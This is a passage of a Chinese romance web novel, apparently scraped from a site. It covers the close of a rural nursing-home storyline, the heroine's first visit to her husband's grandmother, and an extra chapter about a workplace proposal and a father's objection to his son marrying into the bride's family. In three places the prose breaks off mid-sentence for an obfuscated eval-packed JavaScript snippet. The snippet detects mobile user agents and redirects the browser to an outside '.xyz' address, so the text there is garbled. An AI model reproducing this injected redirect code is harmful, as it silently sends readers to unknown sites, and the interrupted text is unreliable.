“我叫邱康，是来应聘养老院护理部主管的”男人笑得更热情了，伸手想去跟陶风握手，见对方没动静，又自然地收了回去，挠了挠头，“我看这办公室灯还亮着，想着绵绵姐肯定还在忙，就冲了杯热咖啡给她送来。熬夜伤胃，喝点热的舒服一些。” 他说话的时候，眼睛一直瞟向门口，期待夏绵出现的表情很是明显。 陶风把纸巾扔进垃圾桶，心里大概明白了。 村里有不少人知道夏绵有个认下的兄长，但大部分村民只是知道有这么一个人，却从没见过庐山真面目，所以邱康把自己错认成林望也不奇怪。 只是这杯咖啡，送得未免太刻意了些。 何况现在还是夜里九点。 陶风正想开口介绍自己，办公室的门又被推开了。 邱书记端着个搪瓷缸走进来，看见屋里的两个人，脚步猛地顿住，连带着搪瓷缸里的茶水晃出了几滴。 “康康？你怎么在这儿？”邱书记惊讶地问。 邱康看到邱书记，脸上的笑容僵了一下，像是上学迟到被教导主任抓包的学生，手不自觉地拢了拢衬衫下摆：“我……我来给绵绵姐送杯咖啡，她加班加到这个时候实在太辛苦了。” 邱书记的目光扫过桌上那杯冒着热气的咖啡，又瞥了眼站在一旁神色平静的陶风，嘴角狠狠一抽。 陶风看着邱书记那副复杂的表情，再看看邱康略显局促的样子，心里彻底明白。 邱康这小子，恐怕不止是来应聘那么简单。 邱书记干咳了一声，看向陶风，脸上挤出笑容：“陶老师，您等绵丫头呢？” 陶风微微颔首，目光在两人之间转了一圈，慢悠悠地开口，“刚才这个小同志好像误会了，我不是林望。” 邱康愣了一下，呆呆地张着嘴。 陶风顿了顿，视线捕捉到办公桌后面的照片墙。 有一张照片被刻意贴在了中间的位置。 那是一年前，他们的第一张合影。 夏绵当时笑得眼睛弯成了月牙，依偎在他身边撒娇要背后抱。 东岚村里甜蜜的回忆总是无处不在。 陶风的嘴角不自觉地漾起笑意，看向邱康，语气坚定地说道：“我是夏绵的未婚夫。” 说完这句话，陶风自己也愣了一下。 虽然他和夏绵早已经认定了彼此，可“未婚夫”这三个字，从嘴里说出来，还是带着一种微妙的郑重感，像是在心里落下了一枚定音的石子。 邱书记显然没料到陶风会这么直接，先是一愣，随即脸上露出恍然大悟的笑容，赶紧打圆场：“对对对，陶老师和绵丫头明年开春就要办喜事了，到时候啊，咱们全村都要喝他们的喜酒呢。”他说着，还不忘狠狠瞪了邱康一眼。 就在这时，办公室的门被轻轻推开，夏绵走了进来。 她左手里拎着个蓝色的电脑包，右手拿着文件夹，上衣口袋里还别着几支签字笔，显然是刚从会议室过来。 夏绵放下电脑包，看到屋里站着三个人，愣了一下，以为是发生了什么事，眉头微微蹙起：“怎么了这是？” 陶风没说话，只是看着她，眼底的温柔像化不开的春水。 夏绵先跟邱书记打了个招呼，目光落在他手里的搪瓷缸上，笑着说：“邱书记还没休息？”然后视线才转向邱康，“小邱还没走？你的简历我看过了，明天下午两点来复试吧。” 邱康张了张嘴，想说点什么，可看到陶风落在夏绵身上那毫不掩饰的亲昵目光，话到嘴边又咽了回去，只是点了点头，低声说了句“好的夏院长”，就低着头匆匆往外走，推门的时候脚步都有些踉跄。 邱书记见状，赶紧跟夏绵和陶风打了个招呼，也追了出去。 夏绵的助理小嘉拎着个食盒走了进来，看到陶风也在，开口说：“绵绵姐让我买了夜宵回来，是陶老师爱吃的小馄饨喔。” 食盒打开，热气腾腾的白雾冒了出来，混着鲜肉和葱花的香气，瞬间驱散了办公室里那点尴尬的气氛。 小嘉一边摆碗筷，一边状似无意地瞥了眼桌上那杯已经凉了的咖啡，又看了看陶风，嘴角勾起一抹了然的笑，抬头对夏绵说：“绵绵姐，我先回家了，明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16115242|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的复试名单我已经整理好放您桌上了。” 夏绵点了点头：“辛苦你了，快回去休息吧。” 小嘉走后，办公室里终于安静下来。 夏绵的目光落在那杯冷掉的咖啡上，没说话，只是拿起杯子，转身走进了旁边的休息室。 陶风侧了侧耳，听见里面传来哗哗的水声，过了一会儿，夏绵走了出来，手指上沾着湿漉漉的水珠，袖口也被水汽熏得有些微湿。 陶风抽了张纸巾递过去，夏绵接过纸巾擦了擦手，把纸巾扔进垃圾桶，抬眼看向他，眼神里带着点揶揄：“吃醋了？” 陶风没承认，只是打开食盒，用勺子舀起一个小馄饨，递到她嘴边：“看你忙得晚饭都没吃，快吃饭吧。” 夏绵张嘴含住小馄饨，温热的汤汁在嘴里散开，十足的鲜香让她心满意足地眯起了眼睛。 她细细嚼了几口，咽下去，才伸手轻轻扣住陶风的手腕，弯下头，粉唇在他的脉搏上轻轻啄了几口：“邱康是邱书记的远房外甥，大学学的护理专业，在屿城中心医院待过两年，邱书记曾经托我对他多照顾点。” 她顿了顿，抬头看着陶风的眼睛，认真地说：“我知道分寸，以后会注意保持距离的。” 陶风看着她清澈的眼眸，心里那点微不足道的醋意早就烟消云散了。 他将夏绵圈在怀里，微微欠身，就在夏绵以为他要吻下来的时候，他却蓦然停住，用手轻轻按了一下她柔软的唇。 “我不是不相信你，我刚刚也没有吃醋。” 只是看到有人觊觎自己放在心尖上的人，总会忍不住想宣示主权。 夏绵笑了，“真的？” 陶风被她看穿心思，也不掩饰，低头在她后脖颈上吻了一下，声音低沉而温柔：“我是醋了，因为你只能是我一个人的。” 可偏偏总有别的雄性动物对你虎视眈眈。 夏绵的脸颊微微泛红，抽回手，拿起勺子给自己舀了个馄饨：“快吃吧，一会儿凉了。” 陶风拿起另一双筷子，夹起一个小馄饨，慢慢吃着。 “对了，”夏绵突然想起什么，抬头看向陶风，“刚才听邱书记说……你自称是我的未婚夫？” 陶风手里的筷子顿了一下，耳根微微发烫：“嗯，当时情况特殊……” 夏绵看着他难得有些窘迫的样子，又忍不住笑了起来，眼睛也亮晶晶的：“那我是不是该改口了？” 陶风的心猛地一跳，看向她。 夏绵放下勺子，身体微微前倾，凑近他，声音软糯，语气里带着点撒娇的意思：“老公？” 这两个字轻轻搔在陶风的心尖上，酥酥麻麻的。 他看着眼前笑靥如花的女孩，突然觉得，所有的等待和在意，都有了最圆满的归宿。 陶风放下小勺，伸手把夏绵揽进怀里，下巴抵在她的发顶，深深吸了一口气。 “嗯，”他低声应着，声音里带着满足的沉吟，“老婆。” 窗外的月光不知何时变得明亮起来，透过窗户，洒在办公桌上那堆还没处理完的文件上，也洒在紧紧相拥的两人身上。 养老院的灯光渐渐熄灭，只有院长办公室的那盏灯，亮了很久很久。 这盏灯像是黑夜里一颗温暖的星星，照亮了整个东岚村的梦。 33. 第三十三章（正文终章） 夏绵在和陶风扯证后的第二天，便要去陶风的老家做客吃饭。 其实，早在两人确立关系时，陶风和李媛就曾邀请过她，但那时候的夏绵还没有足够的勇气。 而如今，她已经和陶风是法律意义上的夫妻了，再不去，就不合礼数了。 路上正遇红灯，陶风看了眼前方倒数计时数字，趁这空档，把老家的情况简单说给了夏绵。 “我外婆姓李，家里世代教书育人，亲朋好友们都尊称她一声“李夫人”。” 夏绵点头“嗯了”一声，心里默默感叹陶风才智过人原来真的和基因有关…… “你别紧张，虽然这称呼严肃了些，但她是个爱逗人笑、心胸开阔的小老太太，而且非常喜欢女孩，你跟着我称呼她“外婆”就行，她会很开心的。” 陶风顿了顿，“说起来，她看过我们的几场直播，还学着做过茶酥。” 夏绵猛地坐直身体，“外婆看过东岚村……直播?” “不光看过，”陶风笑得眉眼弯弯，“还专门注册了账号成为你九十万粉丝里的其中之一。” 夏绵突然有些……受宠若惊，不过这个消息确实打消了她心里的紧张。 黄灯倒数计时。 三、二、一。 绿灯亮起，陶风挂档起步之前又特意看了夏绵一眼。 他很想让夏绵知道，他的家人都很喜欢她。 车子渐渐驶入市区，窗外的风景由田埂变为高楼，陶风继续说着老家的事。 “这次聚餐，晏家人也从伦敦过来了。” “晏家？” 陶风微微颔了颔首，“晏家和我外婆家是世代交好的两家。上世纪初，我外婆家也就是李家给了晏家一笔资金，晏家第二代家主用这笔资金在京城经商造酒起家。这代家主的长子晏泽和我也是多年朋友，他六年前就和初恋女友结了婚，现在有个五岁的孩子。”说完，他唇畔微抿，一抹笑颜在缀着红叶的长街里显得格外柔美动人， “来做客的除了晏家人，还有我妈，你和她还有小浔，你们三人一起吃过那么多次饭，应该知道她是个性格十分幽默、不拘小节的母亲?” “我知道的。”夏绵点头。 自打九月开学之后，陶浔就忙于繁重的高中学业，连东岚村也只能抽空来。但是小女孩每次都会很热情地跟她打视频电话，生怕她不当嫂嫂了。 “外公去世得早，外婆一个人独自扶养大舅和我妈长大，所以她的性格十分要强，不允许自己家的人走歪路，也不允许自家人出去闯荡不跟她说。但是随着年龄的增长，她慢慢就看开了，我大舅临近耳顺之年，年初的时候突然跑丹麦做起了餐厅，她不仅不气，还鼓励我们都向大舅学习，趁年轻多出去见见世面。” 夏绵一面听一面点头，她打心眼里觉得陶风的家人都和陶风一样优秀，可沉默一瞬后，又不安起来。 文化底蕴相当浓重的家族，规矩也会很多吧…… “要强的李夫人会不会干涉你们的感情生活？” “会，”陶风笑得如沐春风，“所以她要我尽快娶你进门。” 夏绵彻底放心。 她假装不经意地看了眼驾驶座上的陶风，痴迷的想着，这个男人的侧脸也是那么的清丽俊逸，好看得不像话。 和陶风在一起，眼福可不少。 车子驶入李家院子的时候，天空下起了蒙蒙细雨。 被烟雨笼罩着的老洋房虽然只和繁华热闹的市中心仅一街之隔，但却格外清冷静谧。 院子里已立着位中年妇人，见车停稳后便迈下阶梯迎了上来。 这应该就是照顾李夫人照顾了大半辈子的喜姨。夏绵听陶浔说起过，喜姨年轻时受过李夫人极重的恩惠，自那以后她就在李家做帮佣，她是李夫人最为信任和依赖的人。 下了车，陶风又从后备箱里拎出几个礼盒。 这是他俩来之前一起准备的礼物。夏绵听陶浔说过李夫人的喜好，所以很用心地多挑选了几份。 陶浔突然推开玄关门露出小半张脸，见夏绵看过来，兴奋地朝她招了招手。 等夏绵被喜姨招呼着跨进玄关门槛，才觉这老洋房里面和屋外的差别。 外面纵使再冷的天气也挡不住里面的洋溢的暖气。 陶浔麻利地接过夏绵手里的礼盒往屋里送，喜姨则给两人拿拖鞋，夏绵换鞋的时候听到喜姨故意压低声音说：“老太太一早就在楼上露台盯着楼下车库，问了好几遍你们到没到到，这不刚听见动静就又摆上当家主母的姿态去了楼上小老人房，下午的时候她包了几盘夏小姐最爱吃的海鲜水饺，嘱咐我要时刻看着院门……” “喜姨你也辛苦了。”陶风笑着回道，语气里带了几分敬重。 “我先去跟外婆打个招呼。”夏绵轻声应着，换好拖鞋后刚想开口问老人房在哪儿就被陶浔打断了。 “嫂嫂我带你去见外婆!”话还没说完，陶浔就拉着她上了楼。 老太太坐在书房里静静地看书，这屋子不算阔绰却也别致，里间和外屋用一道木格花帘隔开，外屋靠窗处辟了个小花台，摆着几盆茉莉和绣球，清雅又宁和。 她显然等了许久，茶桌上的杯壶已然没有了升腾的热气，连最后一点余温都散了去。 而老太太正戴着副老花镜，看见两个人进来，只抬了一下眼，眼尾的皱纹动了动，像是想板起脸说句规矩话，可触及到夏绵乖巧的微笑时，手不自觉地把书合上，轻咳一声，脸上漾开点温软的笑：“你们来啦，坐。” 夏绵和陶风对视一眼，在看见陶风眼里的安抚和笃定后，夏绵心里那点紧张渐渐松了，在老太太对面的软皮沙发上坐下时，夏绵恭顺地叫了声“外婆”。 老太太抬了抬鼻梁上的老花镜，镜片后的目光顿了顿，就这么望了她片刻，慢慢站了起来。 她拿起茶桌上的精致雕花木盒走过来，目光在夏绵脸上落了落，带着点细细的打量，眼底却藏着点对苦命孩子的疼惜。 夏绵的身世，她听李媛提过几句。 寥寥几句却有无数辛酸。 李媛也说过，夏绵是个不信命的孩子。带领茶乡致富的路虽布满荆棘，但她从未退缩一步。 沉吟片刻，老太太终于开口：“头回上门，我也没备什么新鲜物件。这枚白玉扳指是你外公在世时给我的，我戴了快四十年，就给你当见面礼吧。”语罢，见夏绵要拒绝又连忙开口：“你已经是我们的家人了，这个见面礼一定要收下。” 一旁的陶风轻轻握住夏绵的手，点了点头：“这是外婆和外公的心意。” 夏绵不再推辞，将那木盒接了下来，她已经感受到了老太太对自己的认可，心里暗生欢喜：“谢谢外婆。” 老太太也欢喜，她教书多年看人精准，眼前的孩子眉目舒朗、端庄大气，和清风霁月的陶风十分相配。 “我知道现在的年轻人做什么事都有自己的做派，可两个人结婚这件事，马虎不得。陶风这小子都跟你求婚成功了才来和我们说他已经处成了对象，这叫什么事？即便陶风在亲家那里待过数日、和亲家关系熟络，但该有的规矩一个都不能少。”说完，老太太幽怨地看向陶风，轻哼一声，“聘礼我李家也得添几份，他们陶家安排的婚宴席面也必须由我这个老太婆看过才行，我知道陶然不缺钱，但他可不懂什么规矩礼数，倘若出了什么岔子，亲家能放心让这丫头过门吗？陶风你且记好了我的话，回头跟陶然一字不差地说了去！” 早就猜到老太太会发表这般讲话的陶风乖乖点头，一边点头一边附和：“你说得对，我回去就跟他讲。” “回去？”老太太的目光从陶风转移到夏绵，脸色立马温和下来：“今晚你们住下来，我想和绵绵多待会儿。” 陶风闻言略显紧张地看着夏绵，他知道她肯来老家吃饭已经是攒足了极大的勇气，于是准备开口婉拒老太太的邀请，可旁边的夏绵已经点头应了下来。 楼上的三人喝着茶聊天，楼下的陶浔招呼着前来做客的晏家人，李媛怕喜姨一个人忙活不过来，撸起袖子就去了厨房帮忙。 夏绵和陶风正陪着老太太写毛笔字，一人研墨一人镇纸，老太太下笔果断，待四个“天作之合”大字写好后，陶浔便上楼来喊吃饭。 陶风说过晏家世代儒商，晏家人尽管在商海沉浮多年，为人处世却如空谷幽兰般清新脱俗，丝毫没有一丝铜臭之气。 夏绵如今切实见了晏泽和他的夫人，确实如陶风所说得那般雍容闲雅。 他们的孩子晏时洲，小名清清，一见到夏绵便很是亲热，甚至朝夏绵卖萌求抱抱。 因为这个小家伙的热情，夏绵也渐渐地不那么拘谨，和晏夫人也越聊越熟络。 热热闹闹的午饭过后，晏泽接了个工作电话，从他的表情和语气里看得出是件紧急公务，可他不想因为工作耽误了今日两家聚会，老太太却理解年轻人的不易，招招手让他放心去，还说大家会照看好晏夫人和清清。 晏泽依旧过意不去，朝老太太欠了欠身，承诺无论如何今晚都会回来。 午后，夏绵陪着老太太看书听京剧，陶风在书房里忙工作，晏夫人陪着清清午睡，李媛跟着喜姨学做桂花鸭。 悠闲的时光总是过得很快，转眼间就到了吃晚饭的点。 喜姨和李媛张罗了满满一桌子菜，厨房里还炖着锅松茸花胶鸡汤，文火慢煮了一会儿后，陶风帮着盛了端上桌来。 清爽些的小菜摆了六碟，各样荤素搭配的家常菜占了大半桌，连专为老太太做的减盐套餐都有专门的位置。 清清一边吃一边高兴得点头，那活泼调皮的模样，让晏夫人无奈笑出声：“家里也就你爸能管着你。” 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170747|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩正往碗里盛他最爱吃的菠萝咕噜肉，听见这话小手顿了顿，然后嘟着小嘴朝大家眨了眨眼： “我最喜欢妈妈，最听妈妈的话。” “哎呦，你这小滑头最会说些甜言蜜语哄我开心！” 一桌人都被这孩子逗得乐呵呵的，夏绵也笑起来，却被刚喝下的葡萄酒呛了一口。 陶风时刻注意着身边的夏绵，见她呛得咳嗽，立马抽了几张纸巾过来，又倒了杯白水放在她手边，轻拍着她的背直到她顺气。 吃过饭，老太太在院里的秋千藤椅上坐了片刻养了养神，便起身回屋歇着。 她刚走没多会儿，院门口就传来声响，接着便是晏泽推门进来。 清清一看到他就跑过去，张开双手喊“爸爸抱！” 晏泽熟练地抱起清清又在儿子的小肉蛋脸上啄了几口，抱着他挨着夫人坐下。 陶风处理完工作后便和夏绵手牵手一起上楼休息，走到二楼楼梯拐角，夏绵的鞋带松了，在她蹲下身系鞋带时，正好看见抱着清清的晏泽正温柔而深情地吻着晏夫人的眉眼。 待她起身抬头时，陶风突然将她一把拉入怀中。 “辛苦你了。”他说，手轻轻拍着她的背，用最宠溺的语气说道：“我的家人都很热情，但他们都很喜欢你，请你相信他们对你的真心，也相信我。” 夏绵唇角微勾，点了点头：“我知道，我也已经将你和你的家人当做我的家人了。” * 三楼的走廊铺着厚地毯，即使用最大的力气踩上去也不声不响。 陶风推开走廊最里靠近露台的房门，侧身向夏绵介绍：“这就是我的房间。” 他的房间是简洁的现代风格，整体偏黑灰色调，原木书架占了整面墙。 窗外是银杏树，风一吹，树叶便轻飘飘落在窗台上。 喜姨显然刚收拾过房间，空气里有淡淡的薰衣草香。 “随便坐。”陶风脱了外套挂在衣架上，转身看向她，“要不要一起洗澡？” 夏绵正在打量挂在书架上的那副山水画，闻言身子一顿，头也不回地婉拒：“你先洗。” 出言调戏的某人低笑一声，拿了睡衣进浴室。 没多久，陶风就从浴室里出来了，发梢还滴着水，他像没感觉到似的走到窗边关了窗，又打开电视，屏幕上正放着某部最近很火的古装探案剧。 “怕你无聊。”他解释道，随即后仰靠在书桌边，单薄的睡衣勾勒出肩背的性感线条。 夏绵假装看电视实则偷瞥了他好几眼，花痴犯了一会儿，终于拿着洗护用品进了浴室。 等她出来时，陶风已经靠在床上看萌宠漫画书，头发刚吹好，蓬松地搭在额前。 房间只开了盏床头灯，暖黄的光落在他侧脸，显得更加柔美温和。 她挨着他躺下，刚想说话，就被他揽进怀里。 “住得惯吗？”他问，手指一弯将漫画书合上，“喜姨铺了新床单，要是还觉得硬，我再垫床褥子。” “不硬。”夏绵往他怀里缩了缩，不小心蹭到他的衬衫，有淡淡的沐浴露香， “很舒服。” 陶风把漫画书放回原位，低头望着她，才缓缓说：“明天，外婆估计也要拉你写毛笔字，她和外公都是书法爱好者。不过你别太紧张，她从不训人。” “可我……字写得不好看。”夏绵还是有点担心。 平常连硬笔字都写得不勉勉强强，毛笔字就更别提了。 “没关系，”陶风吻了吻她的额头，“她就是想找个由头跟你待着，昨天还翻出她年轻时的字帖，说要送给你。” 夏绵笑了，伸手搂住他的脖子：“你是不是早就跟家里串通好了？” “嗯，”陶风坦诚道，“第一次在东岚村看到你，就想把你拐回家。”他的唇落在她的锁骨，声音低沉，“我怕你觉得拘束，怕你不喜欢这里的规矩。” “喜欢的。”夏绵抬手摸了摸他的头发，“喜欢外婆也喜欢晏家人……”她顿了顿，凑到他耳边，“喜欢你房间的味道。” 陶风低低笑了一声，翻身把她压在身下，床头灯的光落在他眼里，明亮如繁星：“那要不要做点喜欢的事？” 夏绵的脸瞬间发烫，伸手推他，却被他握住手腕按在枕头上。 “喜姨说过晏家人的房间就在你屋隔壁，他们一家三口就快上楼了……” “那又怎样。”他吻住她的唇，温柔却带着不容拒绝的力道，“绵绵，我们是合法夫妻。” 窗外被晚风吹落的银杏叶飘在窗台上沙沙响，夏绵闭上眼，感受着陶风落在眉骨和唇角的吻，身体像被温水浸着，妥帖又安稳。 “绵绵，我喜欢你。” “我也喜欢……” 我也喜欢你。关于你的一切，我都喜欢。 —正文完— 34. 番外一 跨年这天，在夏绵和邱澜的策划下，绵风公司举行了第一届年会。 宴会邀请了几位重量级资方代表和小有名气的品牌推广人。 自从创立了养老院，聘请了年轻的大学毕业生返乡就业后，夏绵深知新一代的打工族更喜欢享受个人娱乐的时间并不喜欢公司年会这种需要高度社交的场合，因此，年会是员工们自愿参加的，但陶风和Anna还是给各部门都发了奖金。 万盛酒店顶层，杯影在流光里重重交错，点心的甜香混着红酒的微醺漫开，奢华与简约、人情与利益皆在此共生。 年会的倒数第二个流程是Anna的总结发言。 台下的气氛渐渐安静下来，只剩杯盏轻碰的细碎声响。 Anna穿着一身剪裁利落的米白色西装，站在聚光灯下，声音透过麦克风缓缓传来： “今年公司的项目超额完成了预期，在座的每个人都功不可没。”她笑了笑，目光扫过台下，在落到前排时微微顿了顿，“尤其是林望带领的营销团队，连续加了三个星期的班，拿到了今年美妆时尚协会国际交流的入会资格。” 台下响起一阵掌声，林望坐在第一排，和以往不同，他今晚穿着正经的黑西装，听到台上的Anna毫不吝啬地夸自己，还有些不好意思，只好低头笑了笑，抬了抬手里的香槟以示回应。 Anna等掌声渐歇，继续说道：“按照传统发言，我该给大家画饼说说明年的规划，但今天，我想换个话题。” 她的语气忽然柔和下来， “大家总说我是工作狂，其实我只是觉得，得先有底气站稳脚跟，才能牵住想牵的人。” 台下有人笑起来，不知是谁喊了句“Anna姐终于要撒狗粮了吗”，引来一片附和的起哄声。 Anna没理会那些玩笑，目光定定地看向林望，一步一步走下舞台。 她在林望面前站定，聚光灯也跟着移过来，将两人笼在一片暖黄的光晕里。 林望仰头看她，眼里带着点惊讶，又像是早有预感，喉结轻轻动了动，没说话。 她从西装口袋里拿出一个红丝绒盒子，打开，里面的铂金戒指在灯光下闪着温润的光。 “林望，”她深吸一口气，弯下腰，“我以前总想着等公司再稳定一点，等我们再成熟一点，再去考虑爸爸口中的“人生大事”。可我刚刚站在台上看着你，突然觉得，好时光从来不是等出来的。” 周围瞬间安静下来，大家连呼吸声都仿佛轻了许多。 Anna举起那个盒子，眼里盛着笑意，“我不是个很会照顾家人的人，加班比陪你的时间多，有时候还会冲你发脾气。但我保证，以后会学着平衡工作和生活，学着做你喜欢吃的小肉丸，学着跟你一起骑机车耍酷……”她顿了顿，声音里染上些哽咽，“学着做你的妻子。” 她把戒指拿出来，递到他面前：“林先生，你愿意给我这个机会吗？” 林望的眼睛一下子就红了，他抬起发抖的手紧紧握住Anna拿着戒指的手。 他记得她第一次跟他诉说心里的悲凉，记得她因为修改方案累极趴在桌上睡觉时蹙着的眉，记得她吃到酸豆角罐子时像孩子一样眯起的笑眼。 “你明明知道，”他的声音有些沙哑，眼睛异常坚定， “我等你这句话，等了很久了。” 他没让Anna动手，自己拿起戒指，轻轻套戴在了她的无名指上。 Anna愣了一下，随即笑出声，眼泪却跟着掉了下来。 “Anna女士，我愿意成为你的丈夫。” 台下爆发出火山爆发般的掌声，有的人甚至吹起了口哨，年轻小伙子们更是激动地拍着桌子起哄大喊： “亲一个亲一个亲一个!” 林望伸手帮Anna擦了擦眼泪，动作温柔得不像话：“哭什么，该高兴才对。” “我高兴啊。”Anna吸了吸鼻子，抬手抱住他的腰，把脸埋在他的衬衫里，“就是觉得，好像做梦一样。” “不是梦。”林望回抱住她，“明天我们就去领证，年后办婚礼，好不好？” Anna趴在他怀里狠狠点了点头。 聚光灯缓缓暗下去，会场的灯光重新亮起，绚彩斑斓的光线洒满每个角落。 林望牵着Anna的手走回舞台，拿起话筒，脸上还带着泪痕，他却笑得格外亮： “今天在场的各位见证了我和Anna的誓言，喜糖和喜酒一定少不了大家的!年会结束后，一起去尽情地唱歌喝酒，我买单！” 台下的欢呼声更响了，邱澜和夏绵更是高兴得抱在一起，为Anna和林望也将进入人生的新旅程而感到幸福。 * 林望入赘Anna家是大家都觉得理所当然的一件事。 但是林望的父亲似乎有些反对。 为此，大年初六这天，林望特意邀请了“东岚小队”来家里吃饭……其实就是搬救兵。 因为最受林父的喜欢和尊敬、所以坐在饭桌最中心位置的陶老师发了话：“Anna是家中长女，她在她爸集团里的地位更是重若千钧，她以后会继承所有家业，林望嫁过去绝对不会受半点委屈。”陶风边说边观察林父脸上的表情，小心翼翼斟酌着言语用词。 “从她家下的聘礼也可以看得出对林望有多么重视……” “哼！”林父嗤了一声，放茶杯的动作都带着怒意：“怎么?她家是要买我的亲儿子当干儿子？问过我这个当老子都没有？” 乖乖站在边上添茶倒水的林望也来了脾气：“爸!我都跟您说了，Thompson叔叔待我很好，我手里那几个项目能做大做强也全靠他指点。” “你闭嘴！”林父哀怨地看了一眼林望：“我们老林家就没有入赘到女方家的!你也不能开这个先例!” 夏绵和邱澜对视了一眼，不约而同地叹口气。 说到底，林父还是坚守那套传统规矩。 “林伯，我记得您之前不是想做新媒体这块么？”陶风见形势严峻，立马转换策略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊是啊！”林望趁机煽风点火：“爸，Anna她什么都想好了，您一定要相信她的能力，现在咱们天时地利都有了，就差您松金口了！天上掉馅饼的好事可不是每天都有的！过了这村就没这店了！您还想不想达成林氏家族的光辉荣耀？想的话，咱们就和Anna还有晏家合作，我到美国去，正好能给您及时通风报信啊！” 林父沉思良久，看了眼手机上晏先生的英文报道，又看了眼自己的儿子，终于点了点头。 “行吧！为了林家基业，我愿意牺牲自己的儿子！” 什么嘛……明明是得了便宜还卖乖。 成功攻克林父的陶风也松了口气，拿起杯子轻轻呷了口清香的东岚茶，一双澄澈的眸子看向正在啃排骨的夏绵，微微挑眉一笑。 夏绵也冲他笑了笑，趁着林父和林望聊天，悄悄竖起大拇指晃了晃。 你真棒！ 不仅是哄她，哄老人也是一套一套的，真不愧是得民心的陶老师呐！